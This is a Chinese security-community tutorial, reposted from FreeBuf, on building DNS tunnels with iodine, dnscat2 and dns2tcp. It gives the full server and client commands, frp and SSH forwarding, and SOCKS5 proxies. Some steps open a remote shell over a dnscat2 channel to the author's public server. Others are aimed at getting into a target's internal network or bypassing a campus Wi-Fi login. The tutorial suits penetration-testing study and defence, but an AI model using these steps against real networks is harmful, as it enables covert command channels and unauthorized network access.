前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >一文读懂DNS隧道

一文读懂DNS隧道

作者头像
FB客服
发布于 2023-03-30 10:42:44
发布于 2023-03-30 10:42:44
3.4K0
举报
文章被收录于专栏:FreeBufFreeBuf

 一.DNS隧道准备 

和我哥们在看一个站点的时候,发现是不出网的,但是站点可以做DNS查询,所以想着搭建一个DNS隧道。

此篇文章为了读者看起来更加清楚,我的公网服务器与域名都是未打码的,希望各位大佬手下留情。

1.DNS隧道介绍

DNS隧道,是隧道技术中的一种。当我们的HTTP、HTTPS这样的上层协议、正反向端口转发都失败的时候,可以尝试使用DNS隧道。DNS隧道很难防范,因为平时的业务也好,使用也罢,难免会用到DNS协议进行解析,所以防火墙大多对DNS的流量是放行状态。这时候,如果我们在不出网机器构造一个恶意的域名(***.xxx.ga),本地的DNS服务器无法给出回答时,就会以迭代查询的方式通过互联网定位到所查询域的权威DNS服务器。最后,这条DNS请求会落到我们提前搭建好的恶意DNS服务器上,于是乎,我们的不出网主机就和恶意DNS服务器交流上了。

搭建DNS隧道的工具目前有iodine,dnscat,dns2tcp等

我目前使用的是iodine工具去搭建。

2.前期准备

1个域名,1个公网服务器,需要申请一个域名(最好匿名的,推荐申请网站http://www.freenom.com/zh/index.html),免费且匿名的。

申请的时候直接带上后缀申请,不然会显示域名不可用(例如:jingbao123.ga)。

申请好之后推荐将freenom的域名服务器更改为腾讯dnspod的,更方面管理域名并且可以配置NS解析,freenom我没找到NS记录。

dnspod:https://www.dnspod.cn,在dnspod中添加刚申请的域名,然后dnspod会给出两条dns服务器地址,

将freenom中dns服务器更改为dnspod提供的地址,就可以将域名的解析权给引到dnspod。

dnspod得到域名的管理权之后,在里面添加两条解析记录。

第一条A类记录,告诉域名系统,"www.woshishui120.ga"的IP地址是"121.xxx.xxx.xxx"。

第二条NS记录,告诉域名系统,"ns.woshishui120.ga"的域名由"www.woshishui120.ga"进行解析。

到此前期准备工作就已经完成了,已经将域名绑定到了我们的公网服务器上。

 二.iodine DNS隧道搭建 

在我们的公网服务器安装iodine,该工具服务端为iodined,客户端为iodine。

执行apt install iodine命令会同时安装服务端与客户端。

1.服务端

在公网服务器上部署iodine服务端。(需要root权限运行)

iodined -f -c -P 123.com 192.168.200.1 ns.woshishui120.ga -DD

  • \-f:在前台运行
  • \-c:禁止检查所有传入请求的客户端IP地址。
  • \-P:客户端和服务端之间用于验证身份的密码。
  • \-D:指定调试级别,-DD指第二级。“D”的数量随级别增加。

这里的192.168.200.1为自定义局域网虚拟IP地址,建议不要与现有网段冲突。

注意!填写的地址为NS记录

执行完该命令之后会新生成一个dns0虚拟网卡,ip地址就是刚才命令中输入的ip地址(192.168.200.1)。

**ubuntu默认53端口是打开的,通过下面命令关闭掉53端口**

rm /etc/resolv.conf&&echo "nameserver x.x.x.x" >> /etc/resolv.conf 配置dns服务器(x.x.x.x改为dns服务器,8.8.8.8等)

systemctl stop systemd-resolved 停止该进程

systemctl disable systemd-resolved 关闭开机自启动

2.客户端

客户端我使用的kali,kali自带iodine工具。

iodine -f -P 123.com ns.woshishui120.ga -M 200

  • -r:iodine有时会自动将DNS隧道切换为UDP隧道,该参数的作用是强制在任何情况下使用DNS隧道
  • -M:指定上行主机的大小。
  • -m:调节最大下行分片的大小。
  • -f:在前台运行
  • -T:指定DNS请求类型TYPE,可选项有NULL、PRIVATE、TXT、SRV、CNAME、MX、A。
  • -O:指定数据编码规范。
  • -P:客户端和服务端之间用于验证身份的密码。
  • -L:指定是否开启懒惰模式,默认开启。
  • -I:指定两个请求之间的时间间隔。

3.坑点

我客户端执行连接命令之后,死活连接不到(如上图所示),刚开始我以为我的ns记录未生效,但是中午配置的下午我试还是不行。我又认为是腾讯云的缘故,53端口不可用等,但是各位大佬说53端口是可用的,于是就求助各位大佬。最终大佬给的这篇文章有了答案。https://exploit0.cn/archives/571/

我的公网服务器是腾讯云的,我当时只在防火墙管理面板打开了tcp53端口,但是没有打开udp53端口。dns解析使用的是udp53端口。

于是我快速的打开了腾讯云防火墙的udp53端口。

然后继续执行上述命令。

可以看到已经连接成功。但是会报编码错误,经过大佬指示该工具也可以指定编码。参数为-O

iodine -f -P 123.com ns.woshishui120.ga  -M 200 -O base64

虽然也会出现编码错误,但是比刚才明显少了很多。连接成功之后,kali上也会生成一个虚拟网卡。ip地址被分配为192.168.200.2。

在kali上ping一下公网服务器的虚拟地址,可以ping通,说明DNS隧道已经搭建成功了。

现在就相当于在公网服务器和kail之间各生成了一个虚拟网卡,然后这两个虚拟网卡之间是互通的,

在公网服务器上连接kali的虚拟地址,使用ssh做一个动态端口转发。

ssh -D 60688 root@192.168.200.2

但此时只相当于在公网服务器的192.168.200.1的60688端口搭建了一个socks5代理隧道,如果想要本地使用该隧道是行不通的,因为192.168.200.1相当于一个内网地址,是不能直接访问得到的,所以需要将公网服务器虚拟网卡地址192.168.200.1的60688端口数据转发到公网服务器公网地址的一个端口上。这个端口转发我还没试(不知道采用哪个工具会好点)。

我用的是frp在两个虚拟网卡之间搭建一个反向隧道。

4.frp搭建隧道

在公网服务器开启服务端。

然后使用kali去连接,kali连接的服务端ip为公网服务器虚拟网卡的ip。

kali显示如下

公网服务器显示如下

即成功在公网服务器的60688端口搭建了一个socks5隧道,相当于socks5隧

道套接在dns隧道里面。

然后就可以通过公网服务器的60688端口去遨游kali的内网。(但是感觉很卡)

 三.dnscat2 DNS隧道搭建 

(1)直连模式:

客户端直接向指定IP地址的DNS服务器发起DNS解析请求

1.服务端

公网服务器做服务端

ruby dnscat2.rb

2.客户端

dnscat --dns server=121.5.145.31,port=53 --secret=4575d232b01034db7eae9baa9ac4dbe2

kali做客户端:命令为服务端输出的命令(上图红色圈出的地方,x.x.x.x更改为自己公网服务器地址)

不知道为什么直连模式下kali连接不到服务端(有大佬知道的可以告知下)

(2)中继模式

DNS经过互联网的迭代解析,指向指定的DNS服务器。与直连模式相比,中继模式的速度较慢

1.服务端

公网服务器作为服务端

ruby dnscat2.rb ns.woshishui120.ga -e open --no-cache -c 123.com

-e:指定安全级别,open表示服务端运行客户端不进行加密

-c:指定密钥

--no-cache:禁止缓存,一定添加该选项,因为powershell-dnscat2客户端域dnscat2服务端的Caching模式不兼容

2.客户端

kali作为客户端

dnscat --secret=123.com ns.woshishui120.ga

使用dnscat2搭建dns隧道,搭建成功之后,会在服务端生成一个session,

进入session 2执行shell之后会生成一个新session,

该新session可以执行命令。

sessions 列出所有session

session -i 2 进入session 2

shell:创建交互式shell

suspend:返回上一层

listen 127.0.0.1:888 127.0.0.1:22 第一个127.0.0.1为服务端ip,第二个127.0.0.1为客户端ip,将客户端的22端口转到服务端的888端口 ssh -p 888 127.0.0.1

 四.dns2tcp DNS隧道搭建 

1.服务端

公网服务器做服务端。

更改dns2tcp配置文件的listen为0.0.0.0,(监听在0.0.0.0就可以让客户端连接到服务端)

resources后面可以自己更改,name:公网服务器_ip:port ,格式按照这个即可。名字,端口随便设置,公网服务器_ip为公网服务器公网ip。名字设置为name,客户端-r后面参数就跟设置的name。

dns2tcpd -f /etc/dns2tcpd.conf -F -d 2

  • -f /etc/dns2tcpd.conf”指定了配置文件,
  • -F要求程序在前台运行,
  • -d 2 指明了输出调试信息,级别为2

2.客户端

kali做客户端

dns2tcpc -r ssh -z ns.woshishui120.ga -l 8888 -d 2 中继模式

dns2tcpc -r ssh -z ns.woshishui120.ga 121.5.145.31 -l 8888 -d 2 直连模式。

  • -r 后接服务名称<ssh/socks中的任意一个>,该名称自己随便在服务端的配置文件dns2tcpd.conf设置,
  • -z 后接你设置的NS记录,和你的公网服务器公网ip <公网ip> 可不填,不写将使用中继模式,否则使用直连模式
  • 中继模式像我们平时上网一样,DNS解析先经过互联网的迭代解析,最后指向我们的恶意DNS服务器。相比直连,速度较慢,但是更安全。
  • -l 后接本地端口,随便一个常用端口就行,8888”指明了隧道的这头监听的端口
  • -d 开启 Debug ,"-d 2"指明了输出调试信息,级别为2,作用和服务器端相同
  • -k 密码

该命令代表:连接服务端的ssh名称,访问kali的8888端口相当于访问vps的22端口。

输入该命令之后客户端和服务端并不会有输出,刚开始我看没输出,还以为没连接上。

ssh ubuntu@公网服务器 -p 8888 就可连接到公网服务器的ssh服务上。(输入该命令之后服务端与客户端就会有输出)

如果想要通过该dns隧道达到访问互联网的目的。-r指定服务端配置文件的socks,还需要在服务端的60688端口开启一个正向的socks5隧道(该端口在服务端的配置文件中设置,socks:121.5.145.31:60688,socks和60688都可以随便设置),不然就只是kali和公网服务器互通了,但是kali不能通过公网服务器访问互联网,当在公网服务器的60688端口开启一个socks5隧道后,就可以通过kali与公网服务器的dns隧道互通,然后通过公网服务器的socks5端口(60688)去访问互联网。

公网服务器开启正向socks5,可以使用gost或者proxy

gost开启正向socks5代理

gost -L=socks5://:60688公网服务器开启正向socks5代理

proxy开启正向socks5代理

proxy socks -t tcp -p "0.0.0.0:60688" --udp-port 0 --udp

goproxy使用:https://github.com/snail007/goproxy/blob/master/README_ZH.md

gost或者proxy随便选择一种即可,个人感觉gost比较快一点

dns2tcpc -r socks -z ns.woshishui120.ga -l 8888 -d 2

此时访问kali的8888端口,就可以访问互联网。

kali配置代理访问百度。

就可以实现在只有dns出网的环境下,访问互联网。

 五.工具利用环境 

1.外->内

iodine和dnscat2使用环境:目标是内网,并且只有dns出网的情况下,通过自己的公网服务器搭建到目标的dns隧道,从而通过公网服务器代理进入目标内网,遨游目标内网。

2.内->外

dns2tcp使用的环境是:自己在一个内网里面,自己所处的环境不出网,但是dns可以出网,就可以用过dns2tcp搭建一个dns隧道,从而可以访问到互联网环境。

典型环境:在学校连接到wifi之后,必须要认证登陆,不然不能上网,但是浏览器又能加载出登陆界面,此情况就是dns出网,可以通过dns2tcp搭建dns隧道绕过认证登陆。

精彩推荐

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-12-01,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
内网隧道之dnscat2
github:https://github.com/iagox86/dnscat2
中龙技术
2022/09/29
1.3K0
内网隧道之dnscat2
DNS隧道流量分析
DNS协议又称域名系统是互联网的基础设施,只要上网就会用到,因而DNS协议是提供网络服务的重要协议,在黑客进入内网后会使用DNS、ICMP、HTTP等协议隧道隐藏通信流量。本文通过DNS隧道实验并对流量进行分析,识别DNS隧道流量特征。
FB客服
2019/10/10
2.9K0
DNS隧道流量分析
DNS Tunneling及相关实现
*本文原创作者:novsec,本文属FreeBuf原创奖励计划,未经许可禁止转载 DNS Tunneling,是隐蔽信道的一种,通过将其他协议封装在DNS协议中传输建立通信。 因为在我们的网络世界中D
FB客服
2018/02/08
3.4K0
DNS Tunneling及相关实现
教你学木马攻防 | 隧道木马 | DNS反弹shell
在上一篇文章中,我们讲解了木马通信协议中的ICMP协议,并通过ICMP实现了一个反弹shell,本篇接着讲解一下DNS隧道,也实现一个反弹shell。
七夜安全博客
2019/04/28
3.8K0
教你学木马攻防 | 隧道木马 | DNS反弹shell
内网渗透之DNS隧道技术
声明:请勿利用文中相关技术非法测试,如因此产生的一切不良后果与文章作者及本公众号无关!
安全小王子
2020/11/03
2.3K0
内网渗透之DNS隧道技术
通过DNS隧道进行C&C通信
当你在浏览器中输入域名访问网站时,它首先会向 DNS 服务器发送请求来查找域名对应的 IP 地址。找到 IP 地址之后,就会通过 IP 定位到对应的服务器然后获取网站的内容。这整个过程仅仅只需要几毫秒。DNS 默认是运行在 53 端口上。
渗透攻击红队
2020/11/25
2.4K0
通过DNS隧道进行C&C通信
内网转发及隐蔽隧道 | 使用DNS进行命令控制(dnscat2)
dnscat2是一款开源软件,使用DNS协议创建加密的C&C通道,通过预共享密钥进行身份验证;使用Shell及DNS查询类型(TXT、MX、CNAME、A、AAAA),多个同时进行的会话类似于SSH中的隧道。dnscat2的客户端是有Windows版和Linux版,服务端是用Ruby语言编写的。严格的说,dnscat2是一个命令与控制工具。
谢公子
2022/01/19
4.5K0
内网转发及隐蔽隧道 | 使用DNS进行命令控制(dnscat2)
DNS隧道技术解析
在之前穿越边界的姿势文章中介绍了几种穿透内网的方式,今天的这种方式再之前的文章里没有提及,所以今天来重点介绍使用dns协议穿透内网。
信安之路
2018/08/08
8.9K0
DNS隧道技术解析
内网渗透之主机出网OR不出网隧道搭建
当拿到权限之后,做完本地信息收集,最重要的就是做个隧道,对内网进行下一步攻击,这里简单介绍几个常用的工具,主要针对于出网和不出网两种情况。 出网情况 拿到服务器权限之后,遇见这种机器,十分简单,针对不同情况搭建不同隧道,为了速度可以建立sockets隧道、为了隐蔽可以使用dns隧道、icmp隧道等,本文简单介绍几个常用工具。 frp frp 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到
FB客服
2023/04/26
2.4K0
内网渗透之主机出网OR不出网隧道搭建
内网渗透之DNS隧道构建使用
DNS协议是一种请求/应答协议,也是一种可用于应用层的隧道技术,虽然激增的DNS流量可能会被发现,但基于传统Socket隧道已经濒临淘汰及TCP、UDP通信大量被防御系统拦截的状况,DNS、ICMP、HTTP/HTTPS等难以被禁用的协议已经成为攻击者控制隧道的主流渠道
Al1ex
2025/01/23
2260
内网渗透之DNS隧道构建使用
【内网安全】隧道技术&SSH&DNS&ICMP&SMB&上线通讯Linux&Mac
判断:445通讯 通过端口扫描是否开放445端口进行判断 上线:借助通讯后绑定上线 详见往期文章 通讯:直接SMB协议通讯即可
没事就要多学习
2024/07/18
2370
【内网安全】隧道技术&SSH&DNS&ICMP&SMB&上线通讯Linux&Mac
端口转发知多少?局域网向外看,互联网向内传,这一行指令,够了!
本文假设题主在国内出差,公司内部局域网有一台电脑W,可以访问外网。题主有一台云服务器S,有公网IP(2.2.2.2)。下面阐述一下,如何借由S访问W的资源。
程序员小助手
2020/04/08
2.6K0
内网隐藏通信隧道技术——EW隧道
在研究人员的渗透测试中,EW很好用,体积小,Linux为30kb左右,windows为56kb左右。EW是一套便携式的网络穿透工具,具有SOCKS v5服务架设和端口转发两大核心功能,可以在复杂的网络环境下完成网络穿透。
FB客服
2021/08/24
2.1K0
DNS 隧道通信特征与检测
本地域名服务器向根域名服务器发送请求报文,根域名服务器要么给出ip地址要么告诉本地域名服务器下一步应该去查询另一个域名服务器(假设这个域名服务器为A)。本地域名服务器会向A域名服务器发送请求报文,A域名服务器要么给出ip地址要么告诉本地域名服务器下一步应该去查询B域名服务器。过程以此类推,直到查找到ip地址为止。
绿盟科技研究通讯
2019/12/11
3.7K0
DNS 隧道通信特征与检测
内网渗透基石篇--隐藏通信隧道技术
1.ssh -CfNg -L 11001:10.10.10.128:3389 XXX@10.10.10.133
FB客服
2021/07/03
1.6K0
内网渗透基石篇--隐藏通信隧道技术
利用DNS隧道构建隐蔽C&C信道
无论是高级持续性威胁(APT)、僵尸网络(Botnet),还是勒索软件、后门等,命令与控制信道(C&C)都是其重要组成部分,尤其是APT和僵尸网络中的C&C信道决定了其威胁程度。学术界和工业界就C&C方面的研究已逐渐深入,目前网络战格局逐渐形成,公众对网络安全逐渐重视,网络空间中的攻防双方持续较量。
FB客服
2019/07/29
3K0
内网转发及隐蔽隧道 | 应用层隧道技术之使用DNS搭建隧道(iodine)
iodine是基于C语言开发的,分为服务端和客户端。iodine支持转发模式和中继模式。其原理是:通过TAP虚拟网卡,在服务端建立一个局域网;在客户端,通过TAP建立一个虚拟网卡;两者通过DNS隧道连接,处于同一个局域网(可以通过ping命令通信)。在客户端和服务器之间建立连接后,客户机上会多出一块名为dns0的虚拟网卡。
谢公子
2022/01/19
6.7K1
内网转发及隐蔽隧道 | 应用层隧道技术之使用DNS搭建隧道(iodine)
使用lodine建立DNS隧道
虽然有时这些DNS请求仅限于白名单服务器或特定域,但你通常会发现DNS几乎是完全不受限制的,如果我们能控制管道的两端,那么我们就可以通过隧道来传输数据。
FB客服
2018/07/31
1.5K0
ATT&CK视角下的红蓝对抗:十.内网穿透之利用DNS协议进行隧道穿透
DNS隧道(DNS Tunneling)也是隐蔽隧道的一种方式,通过将其他协议封装在DNS协议中传输建立通信。大部分防火墙和入侵检测设备很少会过滤DNS流量,这就给DNS隧道提供了条件,可以利用它实现诸如远程控制、文件传输的操作。使用dns搭建隧道的工具也有很多,比如dnscat2、DNS2tcp、iodine等。由于iodine工具使用比较稳定,这里使用iodine进行演示,它可以通过一台dns服务器制作一个Ipv4通道,iodine分为客户端和服务端,Iodine不仅有强制密码措施,还支持多种DNS记录类型,而且支持16个并发连接,因此很多时候Iodine是DNS隧道的第一选择。
一只特立独行的兔先生
2023/11/07
8420
ATT&CK视角下的红蓝对抗:十.内网穿透之利用DNS协议进行隧道穿透
内网隧道之iodine
持续更新,C语言编写,官方:http://code.kryo.se/iodine/
中龙技术
2022/09/29
1.3K0
内网隧道之iodine
相关推荐
内网隧道之dnscat2
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档